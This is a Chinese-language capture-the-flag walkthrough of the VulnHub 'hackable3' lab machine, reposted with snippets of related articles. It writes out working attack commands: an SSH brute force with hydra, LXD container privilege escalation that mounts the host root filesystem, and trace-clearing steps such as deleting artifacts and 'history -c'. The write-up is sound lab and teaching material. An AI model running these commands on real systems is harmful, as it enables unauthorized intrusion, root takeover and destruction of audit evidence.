vulnhub靶场之hackableⅢ

news/2024/11/30 12:29:45/

hackable3

前言

这里使用virtual box加载靶机

靶机:hackable3

攻击:kali

主机发现

使用arp-scan -l扫描

在这里插入图片描述

信息收集

使用nmap扫描

在这里插入图片描述

这里明显:

  1. 22端口ssh服务可能过滤了
  2. 80端口开启apachehttp服务

网站目录扫描

使用dirsearch扫描,或者gobusterffufdirbdirbuster

在这里插入图片描述

进一步信息收集

测试22端口是否可用,可能设置条件了

在这里插入图片描述

直接访问页面,并查看源代码

在这里插入图片描述

根据上面的目录扫描,访问HTTP服务

访问/robots.txt 文件,这个目录算是信息泄露

在这里插入图片描述

访问/config,有一个1.txt文件,打开后是经过编码处理的数据,尝试解码

在这里插入图片描述

base64解码后,是一串数字10000,不过这也不确定是否是base64编码

继续访问其他目录/backup

访问发现有一个txt文件,访问发现算是字典

在这里插入图片描述

登录界面的源码/login.php

在这里插入图片描述

首先是POST接收,那么就需要使用burp进行测试

分析

  1. 首先接收user赋值给usuario,接收pass赋值给senha
  2. 从数据库中查询表usuarios,对用户的输入进行判断。正确会返回数据库的值
  3. 当数据库有返回的时候,会把用户名赋值给session

这里还有一张图片,并且没有路径,可能在当前目录下,直接访问,使用wget下载到本地

然后使用steghide检测是否有隐藏信息,这里如果有passphrase的话,是需要输入的,这里并不知道,直接回车

在这里插入图片描述

访问login_page/login.html

在这里插入图片描述

访问/config.php文件,这里提示,默认设置root无密码,对于mysql服务

在这里插入图片描述

访问css目录,访问发现2.txt,打开也是一段编码的字符

在这里插入图片描述

尝试进行解码,之前碰到过,其实就是brain

在这里插入图片描述

信息总结

  1. 可能有用户jubiscleudo
  2. 获取两个端口,65535、100004444
  3. 数据库是mysql数据库
  4. 连接数据库的用户root没设置密码
  5. login.php可以返回表的所有数据
  6. 有一个字典

漏洞寻找

在 Linux 系统中有一个名为 “knock” 的命令行工具,它用于实现端口敲门功能。通过这个工具,用户可以在命令行下轻松地发送端口敲门序列。例如,如果要按照前面提到的端口序列(1000、2000、3000)进行敲门,在安装并配置好 “knock” 工具后,可以使用类似 “knock < 服务器 IP 地址 > 1000 2000 3000” 的命令来触发服务器上对应的安全策略。

根据上面来说,是进行了安全策略,需要按照之前获取的1.txt、2.txt、3.txt所解出的端口进行顺序

简单来说,就是像一种暗号一样,对了才能访问SSH服务

在这里插入图片描述

现在可以正常访问ssh服务,然后根据前面获取的,可能存在用户jubiscleudo,也给出一个字典,尝试对其进行爆破

hydra -l jubiscleudo -P wordlist.txt ssh://192.168.1.38 -vV -f
//该字典使用的是网站给出的

在这里插入图片描述

漏洞利用

获取成功,密码为onlymy,登录,然后发现还有一个用户。

在这里插入图片描述

使用find寻找具有SUID权限

在这里插入图片描述

尝试使用sudo进行查看

在这里插入图片描述

这样提权不行,搜索一些敏感文件的关键字,如*user*、*pass*、*back*等等

在这里插入图片描述

发现之前没有看到的php文件,去查看,可以看到在进行与mysql服务连接时,设置的用户名和密码

在这里插入图片描述

用户名hackable_3,密码TrOLLED_3,不过这里的密码是作为数据库连接的,不知道是否是其本身密码

测试发现可以,就是其密码,这里需要注意,id命令时的lxd

在这里插入图片描述

尝试sudo提权,发现不行

在这里插入图片描述

lxd提权

环境配置

https://github.com/saghul/lxd-alpine-builder.git从这里下载项目

在这里插入图片描述

root身份进行搭建

在这里插入图片描述

然后在该目录下开启一个简易的http服务,然后在靶机中下载

在这里插入图片描述

使用lxc导入该包到镜像中,并起别名为test

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test

然后使用lxc image list列出镜像

在这里插入图片描述

进行lxd初始化,一直回车即可

在这里插入图片描述

提权使用

生成一个初始化容器

lxc init test dijia -c security.privileged=true
//这里的test就是前面初始化的镜像别名

在这里插入图片描述

在这里插入图片描述

把磁盘挂载

lxc config device add dijia mydevice disk source=/ path=/mnt/root recursive=true

启动创建的dijia容器

lxc start dijia

在这里插入图片描述

容器执行/bin/sh

lxc exec dijia /bin/sh

在这里插入图片描述
在这里插入图片描述

清除痕迹

在这里插入图片描述

lxc stop dijia		//暂停容器dijia
lxc delete dijia	//删除容器dijia
lxc image delete test	//删除镜像test
rm -rf alpine-v3.13-x86_64-20210218_0139.tar.gz snap	//删除下载的文件

history -c

history -r

总结

  1. 对于信息的收集,只要有可能,都记录下来
  2. 编码加密的一些使用,要会解码解密
  3. 对于网站的目录,最好的方式就是都看一看页面源代码
  4. 这里的ssh服务开启某种安全策略,所以需要特定的序号端口进行访问才能打开22端口
  5. 密码爆破,hydra的使用
  6. lxd、lxc的使用,容器,感觉用法其实和现在的docker很相似。

http://www.ppmy.cn/news/1551192.html

相关文章

渗透测试笔记—Windows基础和病毒制作

声明&#xff1a; 学习视频来自B站up主 【泷羽sec】有兴趣的师傅可以关注一下&#xff0c;如涉及侵权马上删除文章&#xff0c;笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其他均与本人以及泷羽sec团队无关&am…

数据采集中,除了IP池的IP被封,还有哪些常见问题?

在数据采集的过程中&#xff0c;代理IP池的使用无疑为我们打开了一扇通往信息宝库的大门。然而&#xff0c;除了IP被封禁这一常见问题外&#xff0c;还有许多其他问题可能影响数据采集的效果。本文将探讨在数据采集中&#xff0c;除了IP被封之外&#xff0c;还可能遇到的一些常…

深入探索Facebook的技术生态:社交网络背后的科技创新

Facebook&#xff08;现Meta&#xff09;作为全球领先的社交平台&#xff0c;其背后的技术生态是推动其不断创新与发展的关键。除了作为一个社交网络&#xff0c;Facebook通过深度融入人工智能、虚拟现实、增强现实等前沿技术&#xff0c;重塑了数字社交的未来。本文将简要探讨…

七天掌握SQL——第六天:数据库性能优化与监控

一、引言 在数据库管理系统中&#xff0c;性能优化与监控是确保数据库高效运行的关键环节。通过优化查询和索引&#xff0c;可以显著提升数据库的处理速度&#xff1b;而有效的监控技术则能帮助我们及时发现并解决潜在的性能问题。本文将详细介绍数据库性能优化的方法&#xf…

VC++网络安全编程范例(12)-PKI编程

PKI&#xff08;Public Key Infrastructure &#xff09; 即"公钥基础设施"&#xff0c;是一种遵循既定标准的密钥管理平台,它能够为所有网络应用提供加密和数字签名等密码服务及所必需的密钥和证书管理体系&#xff0c;简单来说&#xff0c;PKI就是利用公钥理论和技…

C++算法练习-day45——236.二叉树的最近公共祖先

题目来源&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 题目思路分析 题目要求在一个二叉树中找到两个给定节点的最低公共祖先&#xff08;Lowest Common Ancestor, LCA&#xff09;。最低公共祖先是指在树中同时包含两个给定节点的所有节点中&#xff0c;深度最大的…

记一次 .NET某hdp智能柜系统 卡死分析

一&#xff1a;背景 1. 讲故事 停了一个月时间没有更新博客了&#xff0c;主要是这段时间有些许事情导致心神不宁&#xff0c;我这个人也比较浮躁所以无法潜心修炼&#xff0c;事情如下&#xff1a; 被狗咬了 也不知道是不是出门没看黄历&#xff0c;在小区门口店里买烟&am…

【Story】《嵌入式开发中的Bug故事:挑战、解决与成长》

作为一名嵌入式高级工程师&#xff0c;编写高效、稳定的嵌入式系统是我们的核心任务。然而&#xff0c;程序的世界里&#xff0c;Bug就像潜伏在阴影中的敌人&#xff0c;时刻可能以各种方式出现&#xff0c;打破我们精心设计的系统&#xff0c;带来无法预见的麻烦。作为嵌入式系…